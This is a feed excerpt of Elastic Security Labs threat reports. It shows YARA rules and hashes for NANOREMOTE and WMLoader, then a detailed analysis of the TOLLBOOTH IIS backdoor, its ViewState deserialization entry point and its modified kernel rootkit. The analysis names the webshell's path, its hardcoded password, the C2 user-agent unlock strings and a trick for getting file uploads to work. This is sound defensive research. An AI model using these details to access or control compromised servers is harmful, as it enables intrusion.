<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_image_hollow_from_unusual_stack.toml">Image Hollow from Unusual Stack</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml">Connection to Commonly Abused Webservices</a></li>
<li>Memory Threat Detection Alert: Shellcode Injection</li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code>rule Windows_Trojan_NanoRemote_7974c813 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-11-17&quot;
        last_modified = &quot;2025-11-19&quot;
	 license = &quot;Elastic License v2&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.NanoRemote&quot;

    strings:
        $str1 = &quot;/drive/v3/files/%s?alt=media&quot; ascii fullword
        $str2 = &quot;08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X&quot; ascii fullword
        $str3 = &quot;NanoRemote/&quot; wide
        $str4 = &quot;[+] pwd output:&quot; wide
        $str5 = &quot;Download task %s failed: write error (wrote %llu/%zu bytes)&quot;
        $seq1 = { 48 83 7C 24 28 00 74 ?? 4C 8D 4C 24 20 41 B8 40 00 00 00 BA 00 00 01 00 48 8B 4C 24 28 FF 15 ?? ?? ?? ?? 85 C0 }
        $seq2 = { BF 06 00 00 00 89 78 48 8B 0D ?? ?? ?? ?? 89 48 ?? FF D3 89 78 78 8B 0D ?? ?? ?? ?? 89 48 7C FF D3 89 78 18 8B 0D }
    condition:
        4 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_WMLoader_d2c7b963 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-12-03&quot;
        last_modified = &quot;2025-12-03&quot;
       license = &quot;Elastic License v2&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.WMLoader&quot;
        reference_sample = &quot;fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902&quot;

    strings:
        $seq1 = { 8B 44 24 20 FF C0 89 44 24 20 81 7C 24 20 01 30 00 00 }
        $seq2 = { 41 B8 20 00 00 00 BA 01 30 00 00 48 8B 4C C4 50 FF 15 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902</td>
<td align="left">SHA-256</td>
<td align="left">BDReinit.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">999648bd814ea5b1e97918366c6bd0f82b88f5675da1d4133257b9e6f4121475</td>
<td align="left">SHA-256</td>
<td align="left">ASDTool.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">35593a51ecc14e68181b2de8f82dde8c18f27f16fcebedbbdac78371ff4f8d41</td>
<td align="left">SHA-256</td>
<td align="left">mitm_install_tool.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">b26927ca4342a19e9314cf05ee9d9a4bddf7b848def2db941dd281d692eaa73c</td>
<td align="left">SHA-256</td>
<td align="left"><a href="https://www.virustotal.com/gui/search/name%253A%2522BDReinit.exe%2522">BDReinit.exe</a></td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">57e0e560801687a8691c704f79da0c1dbdd0f7d5cc671a6ce07ec0040205d728</td>
<td align="left">SHA-256</td>
<td align="left">NANOREMOTE</td>
<td align="left"></td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/Security Labs Images 27.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[TOLLBOOTH: What's yours, IIS mine]]></title>
            <link>https://www.elastic.co/pt/security-labs/tollbooth</link>
            <guid>tollbooth</guid>
            <pubDate>Wed, 22 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[REF3927 abuses publicly disclosed ASP.NET machine keys to compromise IIS servers and deploy TOLLBOOTH SEO cloaking modules globally.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>In September 2025, <a href="https://www.cyber.tamus.edu/">Texas A&amp;M University System (TAMUS) Cybersecurity</a>, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell <a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">framework</a>, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.</p>
<p>A similar chain of events was first <a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">reported</a> by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also <a href="https://asec.ahnlab.com/en/87804/">detailed</a> in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&amp;M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with <a href="https://www.validin.com/">Validin</a>, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys</li>
<li>Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware</li>
<li>Threat actors adapted the open source “Hidden” rootkit project to hide their presence</li>
<li>The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities</li>
<li>This campaign included large-scale exploitation across geographies and industry verticals</li>
</ul>
<h2>Campaign Overview</h2>
<h3>Attack vector</h3>
<p>Last month, Elastic Security Labs and Texas A&amp;M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, <code>ValidationKey</code> and <code>DecryptionKey</code>, which are used to secure ASP.NET features such as <code>ViewState</code> and authentication cookies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image16.png" alt="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" title="REF3927 attack pattern &amp; TOLLBOOTH SEO cloaking workflow" /></p>
<p><code>ViewState</code> is a mechanism used by <a href="ASP.NET">ASP.NET</a> web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, <code>ViewState</code> allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (<code>__VIEWSTATE</code>) on the page that is serialized and encoded in Base64. This <code>ViewState</code> field is susceptible to <a href="https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html">deserialization attacks</a>, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.</p>
<p>Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload <a href="https://github.com/pwntester/ysoserial.net">generator</a>. The <code>__VIEWSTATE</code> field contains a URL-encoded and Base64-encoded payload that will perform a <code>whoami</code> and write a file to a directory. With a successful exploitation request, the server will respond with an <code>HTTP/1.1 500 Internal Server Error</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image14.png" alt="Packet capture showing an example of a successful deserialization attack" title="Packet capture showing an example of a successful deserialization attack" /></p>
<h3>Post-compromise activity</h3>
<p>Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image6.png" alt="Elastic Defend alerting showing hands-on post-compromise activity" title="Elastic Defend alerting showing hands-on post-compromise activity" /></p>
<p>With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image13.png" alt="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" title="Actor attempts to deploy Mimikatz, HIDDENDRIVER, and TOLLBOOTH" /></p>
<h2>Godzilla EKP analysis</h2>
<p>One of the main tools used by this group is a Godzilla-forked framework called <code>Z-Godzilla_ekp</code> written by <a href="https://github.com/ekkoo-z">ekkoo-z</a>. This tool piggybacks off the previous Godzilla <a href="https://github.com/BeichenDream/Godzilla">project</a> by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:</p>
<ul>
<li>Discovery/enumeration capabilities</li>
<li>Privilege escalation techniques</li>
<li>Command execution/file execution</li>
<li>Shellcode loader, meterpreter, in-memory PE execution</li>
<li>File management, zipping utility</li>
<li>Cred stealing plugin (<code>lemon</code>) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials</li>
<li>Browser password scraping</li>
<li>Port scanning, HTTP proxy configuration, note-taking</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image10.png" alt="Command execution plugin from Z-Godzilla_ekp" title="Command execution plugin from Z-Godzilla_ekp" /></p>
<p>Below is a network traffic example showing the operator traffic to the webshell (<code>error.aspx</code>) using <code>Z-Godzilla_ekp</code>. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image3.png" alt="Example of POST request using Z-Godzilla_ekp" title="Example of POST request using Z-Godzilla_ekp" /></p>
<h2>Rootkit analysis</h2>
<p>The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit <code>HIDDENDRIVER</code> and the userland application <code>HIDDENCLI</code>.</p>
<p>This malicious software is a modified version of the open source rootkit <a href="https://github.com/JKornev/hidden">Hidden</a>, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image1.png" alt="Rookit’s string showing the compilation path" title="Rookit’s string showing the compilation path" /></p>
<p>Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:</p>
<ul>
<li><code>InitializeConfigs</code></li>
<li><code>InitializeKernelAnalyzer</code></li>
<li><code>InitializePsMonitor</code></li>
<li><code>InitializeFSMiniFilter</code></li>
<li><code>InitializeRegistryFilter</code></li>
<li><code>InitializeDevice</code></li>
<li><code>InitializeStealthMode</code></li>
</ul>
<p>To prepare its internal components before populating its driver object and associated fields, such as major functions.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image7.png" alt="Malicious rootkit initialization function" title="Malicious rootkit initialization function" /></p>
<p>The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.</p>
<h3>InitializeConfigs</h3>
<p>The rootkit's initial action is to run the <code>InitializeConfigs</code> function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.</p>
<p>The following table summarizes the configuration parameters that the rootkit extracts from the registry:</p>
<table>
<thead>
<tr>
<th>Registry name</th>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>Kbj_WinkbjFsDirs</code></td>
<td>A list of directory paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjFsFiles</code></td>
<td>A list of file paths to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegKeys</code></td>
<td>A list of registry keys to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjRegValues</code></td>
<td>A list of registry values to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_FangxingImages</code></td>
<td>A list of process images to whitelist</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_BaohuImages</code></td>
<td>A list of process images to protect</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_WinkbjImages</code></td>
<td>A list of process images to be hidden</td>
<td>string</td>
</tr>
<tr>
<td><code>Kbj_Zhuangtai</code></td>
<td>A global kill switch that is set from userland</td>
<td>bool</td>
</tr>
<tr>
<td><code>Kbj_YinshenMode</code></td>
<td>This flag signals that the rootkit must conceal its artifacts.</td>
<td>bool</td>
</tr>
</tbody>
</table>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image9.png" alt="Rootkit retrieves values from its configuration stored in the registry" title="Rootkit retrieves values from its configuration stored in the registry" /></p>
<h3>InitializeKernelAnalyzer</h3>
<p>Its purpose is to dynamically scan the kernel memory to find the addresses of the <code>PspCidTable</code> and <code>ActiveProcessLinks</code> that are needed.</p>
<p>The <a href="http://uninformed.org/index.cgi?v=3&amp;a=7&amp;p=6"><code>PspCidTable</code></a> is the kernel's structure that serves as a table for process and thread IDs, while <a href="https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/manipulating-activeprocesslinks-to-unlink-processes-in-userland"><code>ActiveProcessLinks</code></a> under the <code>_EPROCESS</code> structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<h4>LookForPspCidTable</h4>
<p>It searches for the <code>PspCidTable</code> address by disassembling the function <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-pslookupprocessbyprocessid"><code>PsLookupProcessByProcessId</code></a>with the library <a href="https://github.com/zyantific/zydis">Zydis</a> and parsing it.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image15.png" alt="Original hidden code: PspCidTable lookup" title="Original hidden code: PspCidTable lookup" /></p>
<h4>LookForActiveProcessLinks</h4>
<p>This function determines the offset of the <code>ActiveProcessLinks</code> field within the <code>_EPROCESS</code> structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the <code>ActiveProcessLinks</code> field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.</p>
<h3>InitializePsMonitor</h3>
<p><code>InitializePsMonitor</code> sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.</p>
<p>It first initializes three <a href="https://medium.com/@ys.yogendra22/avl-tree-self-balancing-binary-search-tree-20188ff58b05">AVL tree structures</a> to hold information (rules) for excluding, protecting, and hiding processes. It uses <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-rtlinitializegenerictableavl"><code>RtlInitializeGenericTableAvl</code></a> for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.</p>
<h4>Registering object manager callback with (ObRegisterCallbacks)</h4>
<p>This hook registers the <code>ProcessPreCallback</code> and <code>ThreadPreCallback</code> functions. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-object-manager">kernel's Object Manager</a> executes this code before it completes any request to create or duplicate a handle to a process or thread.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image30.png" alt="Rootkit registering process and thread precallbacks" title="Rootkit registering process and thread precallbacks" /></p>
<p>When a process tries to get a handle on another process, the callback function <code>ProcessPreCallback</code> is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to <code>SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION</code>.</p>
<p>This will ensure that processes cannot interact with/inspect, or kill the protected process.</p>
<p>The same mechanism applies to threads.</p>
<h4>Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)</h4>
<p>The rootkit registers a callback with the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutineex"><code>PsSetCreateProcessNotifyRoutineEx</code></a> API on process creation. When a new process is launched, this callback runs a function <code>CheckProcessFlags</code> that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its <code>excluded</code>, <code>protected</code>, and <code>hidden</code> flags accordingly.</p>
<p>Behavior based on flags:</p>
<ul>
<li><strong>Excluded</strong>
<ul>
<li>The rootkit will ignore the process and just let it run as expected.</li>
</ul>
</li>
<li><strong>Protected</strong>
<ul>
<li>The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in <code>ProcessPreCallback</code>.</li>
</ul>
</li>
<li><strong>Hidden</strong>
<ul>
<li>The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a <code>postponeHiding</code> flag that will be explained below.</li>
</ul>
</li>
</ul>
<h4>The Image Load callback (PsSetLoadImageNotifyRoutine)</h4>
<p>This registers the <code>LoadProcessImageNotifyCallback</code> using <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine"><code>PsSetLoadImageNotifyRoutine</code></a>, which the kernel calls whenever an executable image (a <code>.exe</code> or <code>.dll</code>) is loaded into a process's memory.</p>
<p>When the image is loaded, the callback checks the <code>postponeHiding</code> flag; if set, it calls <code>UnlinkProcessFromCidTable</code> to remove it from the master process ID table (<code>PspCidTable</code>).</p>
<h3>InitializeFSMiniFilter</h3>
<p>The function defines its capabilities in the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/fltkernel/ns-fltkernel-_flt_registration"><code>FilterRegistration structure(FLT_REGISTRATION)</code></a>. This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:</p>
<ul>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-create"><code>IRP_MJ_CREATE</code></a>: Intercepts any attempt to open or create a file or directory.</li>
<li><a href="https://learn.microsoft.com/en-us/previous-versions/windows/drivers/ifs/irp-mj-directory-control"><code>IRP_MJ_DIRECTORY_CONTROL</code></a>: Intercepts any attempt to list the contents of a directory.</li>
</ul>
<h4>FltCreatePreOperation(IRP_MJ_CREATE)</h4>
<p>This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to <code>STATUS_NO_SUCH_FILE</code>, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.</p>
<h4>FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)</h4>
<p>This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.</p>
<h3>InitializeRegistryFilter</h3>
<p>After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The <code>InitializeRegistryFilter</code> function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.</p>
<p>It registers a callback using the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-cmregistercallbackex"><code>CmRegisterCallbackEx</code></a> API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status <code>STATUS_NOT_FOUND</code>.</p>
<h3>InitializeDevice</h3>
<p>The <code>InitializeDevice</code> function does the driver initialization needed, and it sets up an <a href="https://learn.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-"><code>IOCTL communication</code></a> so that the userland application can communicate with it directly</p>
<p>The following is a table describing each IOCTL command handled by the driver.</p>
<table>
<thead>
<tr>
<th>IOCTL command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>HID_IOCTL_SET_DRIVER_STATE</code></td>
<td>Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_DRIVER_STATE</code></td>
<td>Retrieve the current state of the rootkit (enabled/disabled).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_HIDDEN_OBJECT</code></td>
<td>Adds a new rule to hide a specific file, directory, registry key, or value.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_HIDDEN_OBJECT</code></td>
<td>Removes a single hiding rule by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS</code></td>
<td>Remove all hidden objects for a specific object type(registry keys/values, files, directories).</td>
</tr>
<tr>
<td><code>HID_IOCTL_ADD_OBJECT</code></td>
<td>Adds a new rule to automatically hide, protect, or exclude a process based on its image path.</td>
</tr>
<tr>
<td><code>HID_IOCTL_GET_OBJECT_STATE</code></td>
<td>Queries the current state (hidden, protected, or excluded) of a specific running process by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_SET_OBJECT_STATE</code></td>
<td>This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_OBJECT</code></td>
<td>Removes a single process rule (hide, protect, or exclude) by its unique ID.</td>
</tr>
<tr>
<td><code>HID_IOCTL_REMOVE_ALL_OBJECTS</code></td>
<td>This command clears all process states and image rules of a specific type.</td>
</tr>
</tbody>
</table>
<h3>InitializeStealthMode</h3>
<p>After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: <code>InitializeStealthMode</code>. If the configuration flag <code>Kbj_YinshenMode</code> is enabled, it will hide every artifact associated with the rootkit, including registry keys, the <code>.sys</code> file, and other related components, using the same techniques described above.</p>
<h3>Code Variations</h3>
<p>While the malware is heavily based on the <code>HIDDENDRIVER</code> source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.</p>
<p>The original code in the <code>IsProcessExcluded</code> function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image20.png" alt="Difference between “Hidden” and the rootkit function IsProcessExcluded" title="Difference between “Hidden” and the rootkit function IsProcessExcluded" /></p>
<p>The original code's callback for filtering system information (including files, directories, and registries) used the <code>IsDriverEnabled</code> function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image28.png" alt="“Hidden” source code: FltDirCtrlPostOperation callback" title="“Hidden” source code: FltDirCtrlPostOperation callback" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image11.png" alt="“Hidden” source code: PsGetProcessImageFileName usage" title="“Hidden” source code: PsGetProcessImageFileName usage" /></p>
<h2>RMM usage</h2>
<p>The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (<code>80</code>/<code>443</code>) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image25.png" alt="gotohttp[.]com landing page" title="gotohttp[.]com landing page" /></p>
<p>RMMs continue to <a href="https://www.proofpoint.com/us/blog/threat-insight/remote-monitoring-and-management-rmm-tooling-increasingly-attackers-first-choice">increase in popularity</a> for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.</p>
<p>Blocking the <a href="https://github.com/magicsword-io/LOLRMM/tree/main/detections/sigma">mass of currently active RMMs</a> and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.</p>
<h2>IIS module analysis</h2>
<p>The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by <a href="https://asec.ahnlab.com/en/87804/">Ahnlab</a> and the security researcher, <a href="https://x.com/AzakaSekai_/status/1969294757978652947">@Azaka</a>. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.</p>
<h3>Malware Config Structure</h3>
<p>TOLLBOOTH retrieves its configuration dynamically from <code>hxxps://c[.]cseo99[.]com/config/&lt;victim_HTTP_host_value&gt;.json,</code> and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, <code>hxxps://c[.]cseo99[.]com/config/127.0.0.1.json</code> responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this <a href="https://gist.github.com/jiayuchann/b785e1f3960fa26923d821b7e93e2e94">GitHub Gist</a>, and we will reference how some of the fields are used as appropriate.</p>
<p>For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code>. For the managed module, these are AES-encrypted with key <code>YourSecretKey123</code> and IV <code>0123456789ABCDEF</code>, Gzip-compressed, and stored at <code>C:\\Windows\\Temp\\AcpLogs\\</code>.</p>
<h3>Webshell</h3>
<p>TOLLBOOTH exposes a webshell at the <code>/mywebdll</code> path, requiring a password of <code>hack123456!</code> for file uploads and execution of commands. Form submission sends a <code>POST</code> request to the <code>/scjg</code> endpoint.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image17.png" alt="Webshell interface" title="Webshell interface" /></p>
<p>The password is hardcoded in the binary, and this webshell feature is present in both <code>v1.6.0</code> and <code>v1.6.1</code> of the native version of TOLLBOOTH.</p>
<p>The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of <code>multipart/form-data</code> fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the <code>multipart/form-data</code> parts, a successful file upload can still be triggered.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image12.png" alt="File upload PoC" title="File upload PoC" /></p>
<h3>Management Channel</h3>
<p>TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):</p>
<pre><code class="language-text">Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;
</code></pre>
<p>The <code>/health</code> endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at <code>c[.]cseo99[.]com</code>, disk space information, the module's installation path, and the version of TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image8.png" alt="Health endpoint response" title="Health endpoint response" /></p>
<p>The <code>/debug</code> endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image31.png" alt="/debug content" title="/debug content" /></p>
<p>The parsed configuration is accessible at <code>/conf</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image24.png" alt="/conf content" title="/conf content" /></p>
<p>The <code>/clean</code> endpoint allows the operator to clear the current configuration by deleting the config files stored locally (<code>clean?type=conf</code>) in order to update them on the victim server, clear any other temporary caches the malware uses (<code>clean?type=conf</code>), or clear both - everything in the <code>C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\</code> path (<code>clean?type=all</code>).</p>
<h3>SEO Cloaking</h3>
<p>The main goal of TOLLBOOTH is <a href="https://support.google.com/adspolicy/answer/15938075?sjid=10977824559696952423-NC#Cloaking">SEO cloaking</a>, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.</p>
